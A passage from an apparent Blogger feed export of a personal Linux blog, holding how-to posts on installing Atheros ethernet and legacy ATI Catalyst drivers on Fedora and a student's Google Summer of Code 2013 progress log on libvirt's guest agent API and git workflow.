&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://commandlinewani.blogspot.com/feeds/3214301225398233195/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/5205501213934844228/3214301225398233195' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5205501213934844228/posts/default/3214301225398233195'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5205501213934844228/posts/default/3214301225398233195'/><link rel='alternate' type='text/html' href='http://commandlinewani.blogspot.com/2014/01/ghostintheshellcode-write-up-dogecrypt.html' title='GhostInTheShellCode Write-Up Dogecrypt'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/06592243882035117471</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5205501213934844228.post-1277688111635042414</id><published>2013-11-11T23:57:00.002-08:00</published><updated>2013-11-12T00:39:52.463-08:00</updated><title type='text'>How to install Atheros Wired LAN (ethernet) drivers in Fedora 19</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;script src=&quot;https://google-code-prettify.googlecode.com/svn/loader/run_prettify.js?skin=sons-of-obsidian&quot;&gt;&lt;/script&gt;

On a *fresh* install of Fedora 19: &lt;br /&gt;

Step 1: From a computer having access to internet, download the following packages from pkgs.org:&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;cpp-4.8.1-1.fc19.x86_64.rpm
gcc-4.8.1-1.fc19.x86_64.rpm
gcc-c++-4.8.1-1.fc19.x86_64.rpm
glibc-2.17-14.fc19.x86_64.rpm
glibc-common-2.17-14.fc19.x86_64.rpm
glibc-devel-2.17-14.fc19.x86_64.rpm
glibc-headers-2.17-14.fc19.x86_64.rpm
kernel-devel-3.9.5-301.fc19.x86_64.rpm
kernel-headers-3.9.5-301.fc19.x86_64.rpm
libmpc-1.0.1-1.fc19.x86_64.rpm
libstdc++-devel-4.8.1-1.fc19.x86_64.rpm
perl-5.16.3-264.fc19.x86_64.rpm
perl-Carp-1.26-243.fc19.noarch.rpm
perl-Encode-2.51-1.fc19.x86_64.rpm
perl-Filter-1.49-1.fc19.x86_64.rpm
perl-libs-5.16.3-264.fc19.x86_64.rpm
perl-macros-5.16.3-264.fc19.x86_64.rpm
perl-PathTools-3.40-1.fc19.x86_64.rpm
perl-Pod-Escapes-1.04-264.fc19.noarch.rpm
perl-Pod-Simple-3.20-264.fc19.noarch.rpm
perl-Scalar-List-Utils-1.27-246.fc19.x86_64.rpm
perl-Socket-2.009-2.fc19.x86_64.rpm
perl-threads-1.87-1.fc19.x86_64.rpm
perl-threads-shared-1.43-2.fc19.x86_64.rpm
&lt;/pre&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Step 2: Copy them to the machine and run the command:&lt;/div&gt;
&lt;div&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;# yum install *.rpm&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Step 3: Download &lt;a href=&quot;https://www.kernel.org/pub/linux/kernel/projects/backports/2013/03/04/compat-drivers-2013-03-04-u.tar.bz2&quot;&gt;compat-drivers-2013-03-04-u.tar.bz2&lt;/a&gt; then run the commands:&lt;/div&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;# tar -xf compat-drivers-2013-03-04-u.tar.bz2
# cd compat-drivers-2013-03-04-u
# ./scripts/driver-select alx &amp;amp;&amp;amp; make &amp;amp;&amp;amp; make install
# reboot
&lt;/pre&gt;
&lt;/div&gt;
&lt;br /&gt;
Note: If the above link(s) don&#39;t work, then use my mirror:&lt;br /&gt;
1: &lt;a href=&quot;https://drive.google.com/file/d/0B8d4Lb_KJbfdcENmX0pzOGo4SkE/edit?usp=sharing&quot;&gt;RPM packages&lt;/a&gt;&lt;br /&gt;
2: &lt;a href=&quot;https://drive.google.com/file/d/0B8d4Lb_KJbfdNjluVHBucHV3d1E/edit?usp=sharing&quot;&gt;compat-drivers-2013-03-04-u.tar.bz2&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://commandlinewani.blogspot.com/feeds/1277688111635042414/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/5205501213934844228/1277688111635042414' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5205501213934844228/posts/default/1277688111635042414'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5205501213934844228/posts/default/1277688111635042414'/><link rel='alternate' type='text/html' href='http://commandlinewani.blogspot.com/2013/11/how-to-install-atheros-wired-lan.html' title='How to install Atheros Wired LAN (ethernet) drivers in Fedora 19'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/06592243882035117471</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5205501213934844228.post-465482759084908349</id><published>2013-10-03T15:44:00.000-07:00</published><updated>2013-10-04T12:02:02.674-07:00</updated><title type='text'>How To Install Legacy Catalyst ATI Drivers 13.1 in Fedora 18</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;script src=&quot;https://google-code-prettify.googlecode.com/svn/loader/run_prettify.js?skin=sons-of-obsidian&quot;&gt;&lt;/script&gt;
This approach has been taken from Giuseppe Marco Randazzo&#39;s &lt;a href=&quot;http://gmrand.blogspot.in/2013/02/how-to-fedora-18-and-ati-catalyst-131.html&quot;&gt;Blog Post&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Note: This method will only work for kernel  &amp;lt;=3.9.11-200&lt;br /&gt;
&lt;br /&gt;
Note: This method has been tested for a fresh install of fedora 18&lt;br /&gt;
&lt;br /&gt;
Note: Make sure that you have booted into the kernel version 3.6.10-4 &lt;br /&gt;
&lt;br /&gt;
Steps:&lt;br /&gt;
First download &lt;a href=&quot;http://dl.fedoraproject.org/pub/fedora/linux/releases/18/Everything/x86_64/os/Packages/k/kernel-3.6.10-4.fc18.x86_64.rpm&quot;&gt;kernel-3.6.10-4.fc18.x86_64.rpm,&lt;/a&gt; &lt;a href=&quot;http://dl.fedoraproject.org/pub/fedora/linux/releases/18/Everything/x86_64/os/Packages/k/kernel-headers-3.6.10-4.fc18.x86_64.rpm&quot;&gt;kernel-headers-3.6.10-4.fc18.x86_64&lt;/a&gt;, &lt;a href=&quot;http://dl.fedoraproject.org/pub/fedora/linux/releases/18/Everything/x86_64/os/Packages/k/kernel-devel-3.6.10-4.fc18.x86_64.rpm&quot;&gt;kernel-devel-3.6.10-4.fc18.x86_64&lt;/a&gt; and &lt;a href=&quot;http://download1.rpmfusion.org/free/fedora/rpmfusion-free-release-stable.noarch.rpm&quot;&gt;rpmfusion-free-release-stable&lt;/a&gt;&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;$ yum install -y kernel-3.6.10-4.fc18.x86_64.rpm kernel-headers-3.6.10-4.fc18.x86_64 \
  kernel-devel-3.6.10-4.fc18.x86_64 rpmfusion-free-release-stable 
$ yum remove audit -y
$ yum install -y qt-x11 akmods git
$ cd /var/lib; git clone https://github.com/zeld/zrepo.git
$ echo &quot;[zrepo]
name=zrepo Repository
baseurl=file:///var/lib/zrepo/$releasever/$basearch
gpgcheck=0
enabled=1&quot; &amp;gt; /etc/yum.repos.d/zrepo.repo
$ yum remove xorg-x11-drv-* -y
$ yum --disablerepo=&quot;*&quot; --enablerepo=&quot;zrepo&quot; downgrade \
  xorg-x11-server-common-1.12.4-3.fc18.x86_64  xorg-x11-server-Xorg-1.12.4-3.fc18.x86_64
$ yum --disablerepo=&quot;*&quot; --enablerepo=&quot;zrepo&quot; install \
  xorg-x11-drv-evdev xorg-x11-drv-synaptics xorg-x11-drv-catalyst-legacy akmod-catalyst-legacy
$ mv /boot/initramfs-$(uname -r).img /boot/initramfs-$(uname -r)-old.img
$ dracut /boot/initramfs-$(uname -r).img $(uname -r)
$ grub2-mkconfig -o /boot/grub2/grub.cfg
$ echo &quot;exclude=xorg-x11-server-* xorg-x11-drv-* kernel-*&quot; &amp;gt;&amp;gt; /etc/yum.conf
$ sed -i &#39;/^GRUB_CMDLINE_LINUX=\&quot;/s/\&quot;$/ rd.blacklist=radeon nomodeset radeon.audio=1 radeon.audio=1\&quot;/&#39; \
  /etc/default/grub
&lt;/pre&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://commandlinewani.blogspot.com/feeds/465482759084908349/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/5205501213934844228/465482759084908349' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5205501213934844228/posts/default/465482759084908349'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5205501213934844228/posts/default/465482759084908349'/><link rel='alternate' type='text/html' href='http://commandlinewani.blogspot.com/2013/10/how-to-install-legacy-ati-drivers-131.html' title='How To Install Legacy Catalyst ATI Drivers 13.1 in Fedora 18'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/06592243882035117471</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5205501213934844228.post-3018007567552935784</id><published>2013-06-17T06:09:00.001-07:00</published><updated>2013-07-28T14:21:07.848-07:00</updated><title type='text'>Google Summer of Code 2013 Progress</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;script src=&quot;https://google-code-prettify.googlecode.com/svn/loader/run_prettify.js?skin=sons-of-obsidian&quot;&gt;&lt;/script&gt;

&lt;br /&gt;
&lt;pre class=&quot;fig&quot; id=&quot;taag_output_text&quot; style=&quot;background-color: white; font-size: 13px; margin-bottom: 15px; margin-top: 15px;&quot;&gt; __      __               __      ____ 
/  \    /  \ ____   ____ |  | __ /_   |
\   \/\/   // __ \_/ __ \|  |/ /  |   |
 \        /\  ___/\  ___/|    &amp;lt;   |   |
  \__/\  /  \___  &amp;gt;\___  &amp;gt;__|_ \  |___|
       \/       \/     \/     \/       &lt;/pre&gt;
Libvirt [Task]: Successfully build libvirt from source code (rev:&amp;nbsp;&lt;a class=&quot;message&quot; href=&quot;https://github.com/nehaljwani/gsoc2013-libvirt/commit/574360f9b73f893250b1c5ce9ced1cba50fa1e47&quot; style=&quot;border: 0px; color: #484848; font-family: Helvetica, arial, freesans, clean, sans-serif; font-size: 13px; line-height: 18px; margin: 0px; max-width: 420px; padding: 0px; text-decoration: none; white-space: nowrap;&quot;&gt;v1.0.6-79-g847e1cd&lt;/a&gt;&lt;span style=&quot;background-color: #f8f8f8; color: #484848; font-family: Helvetica, arial, freesans, clean, sans-serif; font-size: 13px; line-height: 18px; white-space: nowrap;&quot;&gt;&amp;nbsp;&lt;/span&gt;) and run qemu-qeust agent.&lt;br /&gt;
To Compile:&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;$ git clone git://libvirt.org/libvirt.git
$ cd libvirt
$ ./autogen --system
$ make
&lt;/pre&gt;
Start the libvirt daemon:
&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;$ ./daemon/libvitd -d
&lt;/pre&gt;
Make a f18 VM via virt-manager
&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;$ ./tools/virsh
virsh # connect qemu:///system
virsh # start f18
&lt;/pre&gt;
ssh into the VM and install qemu-guest-agent
&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;$ yum install -y qemu-guest-agent ; reboot
&lt;/pre&gt;
Make sure that qemu-guest-agent is running in the guest
&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;$ ps -C qemu-ga # should return pid of the process&lt;/pre&gt;
If not, then type the command:
&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;$ qemu-ga -d
&lt;/pre&gt;
Return to host and start querying!
&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;$ ./tools/virsh
virsh # qemu-agent-command f18 &#39;{&quot;execute&quot;:&quot;guest-network-get-interfaces&quot;}&#39;
&lt;/pre&gt;
References:&lt;br /&gt;
&lt;a href=&quot;http://aglitke.wordpress.com/2011/02/24/how-to-hack-on-a-local-copy-of-libvirt&quot;&gt;http://aglitke.wordpress.com/2011/02/24/how-to-hack-on-a-local-copy-of-libvirt&lt;/a&gt;/&lt;br /&gt;
&lt;a href=&quot;http://wiki.libvirt.org/page/Qemu_guest_agent&quot;&gt;http://wiki.libvirt.org/page/Qemu_guest_agent&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://wiki.qemu.org/Features/QAPI/GuestAgent#Example_usage&quot;&gt;http://wiki.qemu.org/Features/QAPI/GuestAgent#Example_usage&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Git: Set up the git repository:&amp;nbsp;&lt;a href=&quot;https://github.com/nehaljwani/gsoc2013-libvirt&quot;&gt;https://github.com/nehaljwani/gsoc2013-libvirt&lt;/a&gt;&lt;br /&gt;
&lt;div&gt;
Steps:&lt;/div&gt;
&lt;div&gt;
Make the git repo via web interface on github.com&lt;/div&gt;
&lt;div&gt;
Clone the repo:&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;$ git clone git://libvirt.org/libvirt.git
$ git remote add github git@github.com:nehaljwani/gsoc2013-libvirt.git
$ git push github master&lt;/pre&gt;
&lt;/div&gt;
To reflect changes from main repo into your repo&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;$ git fetch origin
$ git push github origin/master:master&lt;/pre&gt;
To reflect local changes into your repo
&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;$ git push github master&lt;/pre&gt;
While building, if you get the error:
&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;Unable to find current revision in submodule path &#39;.gnulib&#39;&lt;/pre&gt;
Then do:
&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;$ rm -fr .gnulib
$ git submodule update --init&lt;/pre&gt;
&lt;br /&gt;
&lt;pre class=&quot;fig&quot; id=&quot;taag_output_text&quot; style=&quot;background-color: white; font-size: 13px; margin-bottom: 15px; margin-top: 15px;&quot;&gt; __      __               __     ________  
/  \    /  \ ____   ____ |  | __ \_____  \ 
\   \/\/   // __ \_/ __ \|  |/ /  /  ____/ 
 \        /\  ___/\  ___/|    &amp;lt;  /       \ 
  \__/\  /  \___  &amp;gt;\___  &amp;gt;__|_ \ \_______ \
       \/       \/     \/     \/         \/&lt;/pre&gt;
Libvirt [Task]: Setting up the qemu-guest-agent&lt;br /&gt;
To be able to use GA users needs to create virtio serial port with special name org.qemu.guest_agent.0. In other words, one needs to add this to his/her domain XML under &amp;lt;devices&amp;gt;:&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;$ virsh edit &amp;lt;domain-name&amp;gt;&lt;/pre&gt;
&lt;pre style=&quot;background-color: #eeeeee; border: 1px solid rgb(153, 153, 153); padding: 1em;&quot;&gt;&amp;lt;channel type=&#39;unix&#39;&amp;gt;
   &amp;lt;source mode=&#39;bind&#39; path=&#39;/var/lib/libvirt/qemu/f16x86_64.agent&#39;/&amp;gt;
   &amp;lt;target type=&#39;virtio&#39; name=&#39;org.qemu.guest_agent.0&#39;/&amp;gt;
&amp;lt;/channel&amp;gt;
&lt;/pre&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Libvirt [Update]:&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; * Discussion on why virTypedParams &amp;gt; struct/XML: Upper layer app doesn&#39;t have to parse the returned xml string, more extensible.&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; * Update Michal&#39;s patches (Struct and XML) and modify them with virTypedParameter.&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; * Asked Michal to send his XML patches. (The one on list was incomplete).&lt;br /&gt;
&lt;br /&gt;
Libvirt [Task]: Analyze previous patches submitted by Michal Privoznik, Re-factor the struct patch (to make it compatible with the latest version of libvirt) and understand the implementation.&lt;br /&gt;
Updated struct patch:&amp;nbsp;&lt;a href=&quot;https://gist.github.com/nehaljwani/5829005&quot;&gt;https://gist.github.com/nehaljwani/5829005&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;pre class=&quot;fig&quot; id=&quot;taag_output_text&quot; style=&quot;background-color: white; font-size: 13px; margin-bottom: 15px; margin-top: 15px;&quot;&gt; __      __               __     ________  
/  \    /  \ ____   ____ |  | __ \_____  \ 
\   \/\/   // __ \_/ __ \|  |/ /   _(__  &amp;lt; 
 \        /\  ___/\  ___/|    &amp;lt;   /       \
  \__/\  /  \___  &amp;gt;\___  &amp;gt;__|_ \ /______  /
       \/       \/     \/     \/        \/ &lt;/pre&gt;
Git: Setting up git branch&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;$ git checkout -t master -b workbranch&lt;/pre&gt;
After making changes:&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;$ git push github&lt;/pre&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
Libvirt [Update]: Main points in conversation with eblake:&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; * If virTypedParamenterPtr * is to be used, it is not advisable to name it as virTypedParameterPtrPtr&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; * If at all a 2D pointer is required to be used, take virDomainGetCPUStats as example.&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; * It is required that new APIs should be more user-friendly, [usability feature] and return allocated answers, rather than requiring&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; the user to pre-allocate&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; e.g. implementation : &amp;nbsp;virConnectListAllDomains (It also has a 3D pointer implementation)&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; * Before working on implementation, it is advised to make sure that all have agreement on the upstream list that the interface is sane&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Therefore, I&#39;ll be better off proposing the function signature and documentation comments to the list, to get feedback if my proposed&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; API makes sense for usability&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; * With reespect to the API, we definitely want a 2d result, but it is not finalized whether it will be easier to document a return where&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; the user looks at array[a*n+b] or array[a][b] (where a and b are the iterators, and n is the number of parameters per interface).&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Depending on that answer, we either document the public API interface as virTypedParameterPtr *params (allocate a 1d array with&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; embedded 2d information) or virTypedParameterPtr **params (allocate a 2d array)&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; * Whenever VIR_TYPED_PARAM_STRING is used, it should always be strdup&#39;d using the helper functions in src/util/virtypedparam.h&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Since virTypedParameterAssign doesn&#39;t do it, virTypedParamsAddString should be used.&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; * Although we want the feature, reasons for not accepting Michal&#39;s Patch:&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; - &amp;nbsp;Because the API design wasn&#39;t complete&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; - &amp;nbsp;We weren&#39;t willing to add an API that wasn&#39;t extensible&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; * Purpose of using virTypedParameter: It provides us extensibility - as long as we tell the user how many interfaces and how many&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; parameters per interface, then we can add more parameters per interface&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; * Introduction to new acl functionality: ACLs are access control lists that allow fine-grained access controls on what APIs&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; individual users can use. For instance, you can state that user &#39;foo&#39; can only see a subset of all domains managed by libvirt,&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; rather than having global access to the entire list (Introduced by Daniel)&lt;br /&gt;
&lt;br /&gt;
Libvirt [Task]: &amp;nbsp;Prepare RFC for API&lt;br /&gt;
&lt;pre class=&quot;fig&quot; id=&quot;taag_output_text&quot; style=&quot;background-color: white; font-size: 13px; margin-bottom: 15px; margin-top: 15px;&quot;&gt; __      __               __        _____  
/  \    /  \ ____   ____ |  | __   /  |  | 
\   \/\/   // __ \_/ __ \|  |/ /  /   |  |_
 \        /\  ___/\  ___/|    &amp;lt;  /    ^   /
  \__/\  /  \___  &amp;gt;\___  &amp;gt;__|_ \ \____   | 
       \/       \/     \/     \/      |__| &lt;/pre&gt;
Libvirt [Update]: Discussion regarding updating libvirt.org/api_extension.html with eblake. It is outdated. Doesn&#39;t work with current libvirt version.&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
Libvirt [Update]: Main points relating to RFC on the list: [http://www.mail-archive.com/libvir-list@redhat.com/msg79793.html]&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; * 2 versions of API proposed: Using 1D virTypedParams and 2D virTypedParams.&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; * We find that using such structures will increase complexity. Using fixed structs/xml is more simple. Main trouble is caused by&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; multiple addresses per interface.&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; * Suggestions for method-name : dhcp|snoop|agent&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; * Unlikeliness of extension and ease of use super power extensibility. Hence we move back to structs&lt;br /&gt;
&lt;br /&gt;
Libvirt [Update]: Findings w.r.t method 3:&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; * nwfilter_dhcpsnoop.c and nwfilter_learnipaddr.c contain parts for snooping. Some methods are explored.&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; * Its a pre-requisite to pass the MAC address beforehand.&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; * virNWFilterLearnIPAddress is the method which we are interested in. It is indirectly used by virDomainAttachDevice.&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; * Discussion halted. Phase 1 is to be completed first.&lt;br /&gt;
&lt;br /&gt;
Libvirt [Update]:&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; * Patch using virTypedParams completely discarded. Shifting back to structs.&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; * Creating new patch to work with libvirt version 1.1.1&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Git: Revoking commits, solving errors&lt;/div&gt;
&lt;div&gt;
To revoke a recent commit (not pushed), do:&lt;/div&gt;
&lt;div&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;$ git reset --soft HEAD~1&lt;/pre&gt;
If you are working on a remote branch, and want to update it to the latest version (removing all your changes):

&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;$ git checkout .
$ git pull origin master
$ git reset --hard origin/master&lt;/pre&gt;
If you still get the error: &quot;your branch is ahead of &#39;origin/master&#39; by x commits&quot;, do:
&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;$ git fetch&lt;/pre&gt;
Libvirt [Task]: Patch to be updated as per reviews provided by mentor.&lt;br /&gt;
&lt;br /&gt;
Git: Config for git send-email with gmail id
&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;$ git config --global sendemail.smtpserver smtp.gmail.com
$ git config --global sendemail.smtpserverport 587
$ git config --global sendemail.smtpencryption tls
$ git config --global sendemail.smtpuser nehaljw.kkd1@gmail.com&lt;/pre&gt;
&lt;/div&gt;
&lt;div&gt;
Reference: &lt;a href=&quot;http://morefedora.blogspot.in/2009/02/configuring-git-send-email-to-use-gmail.html&quot;&gt;http://morefedora.blogspot.in/2009/02/configuring-git-send-email-to-use-gmail.html&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Libvirt: Before sending any patches, make sure to do:&lt;/div&gt;
&lt;div&gt;
&lt;pre style=&quot;background-color: #eeeeee; border: 1px solid rgb(153, 153, 153); padding: 1em;&quot; xml:space=&quot;preserve&quot;&gt;  ./configure --enable-werror
&lt;/pre&gt;
&lt;div style=&quot;background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 13.600000381469727px; margin-bottom: 1em; margin-top: 1em; padding: 0px;&quot;&gt;
and run the tests:&lt;/div&gt;
&lt;pre style=&quot;background-color: #eeeeee; border: 1px solid rgb(153, 153, 153); padding: 1em;&quot; xml:space=&quot;preserve&quot;&gt;  make check
  make syntax-check
  make -C tests valgrind&lt;/pre&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Reference:&amp;nbsp;&lt;a href=&quot;http://libvirt.org/hacking.html&quot;&gt;http://libvirt.org/hacking.html&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;pre class=&quot;fig&quot; id=&quot;taag_output_text&quot; style=&quot;background-color: white; font-size: 13px; margin-bottom: 15px; margin-top: 15px;&quot;&gt; __      __               __      .________
/  \    /  \ ____   ____ |  | __  |   ____/
\   \/\/   // __ \_/ __ \|  |/ /  |____  \ 
 \        /\  ___/\  ___/|    &amp;lt;   /       \
  \__/\  /  \___  &amp;gt;\___  &amp;gt;__|_ \ /______  /
       \/       \/     \/     \/        \/ &lt;/pre&gt;
&lt;/div&gt;
&lt;div&gt;
Git: Sending multiple patches via email:&lt;/div&gt;
&lt;div&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;$ git format patch HEAD~5 
$ git send-email --cover-letter --no-chain-reply-to --annotate --to=jyang@redhat.com --cc=nehaljw.kkd1@gmail.com
&lt;/pre&gt;
OR
&lt;/div&gt;
&lt;div&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;$ git send-email -5 --cover-letter --no-chain-reply-to --annotate --to=jyang@redhat.com --cc=nehaljw.kkd1@gmail.com&lt;/pre&gt;
There seems to be a bug in git, hence, after the above command, instead of letting me edit the emails, git opens the cover letter twice, and doesn&#39;t let me edit the other emails. Hence, after editing the cover letter, you&#39;ll find that the patches are located in /tmp/&amp;lt;some-random-folder&amp;gt;/, and one can edit them.&lt;br /&gt;
&lt;br /&gt;
Libvirt [Task]: Patch to be updated as per reviews provided by mentor.&lt;br /&gt;
&lt;br /&gt;
Libvirt [Update]:Findings w.r.t method 2:&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; * bridge_driver.c is contains function networkDnsmasqLeaseFileNameDefault (retrieves driverState-&amp;gt;dnsmasqStateDir)&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; which returns location of leases file for a given virtual network&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; * Experiments caried out to analyze the format of leases file, using 2 VMs and 3 virtual networks.&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; * According to laine, the problem is that some day libvirt wants all of the network stuff to live in a separate daemon,&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; and creating a small API to return the value of driverState-&amp;gt;dnsmasqStateDir in the driver would instead make&lt;br /&gt;
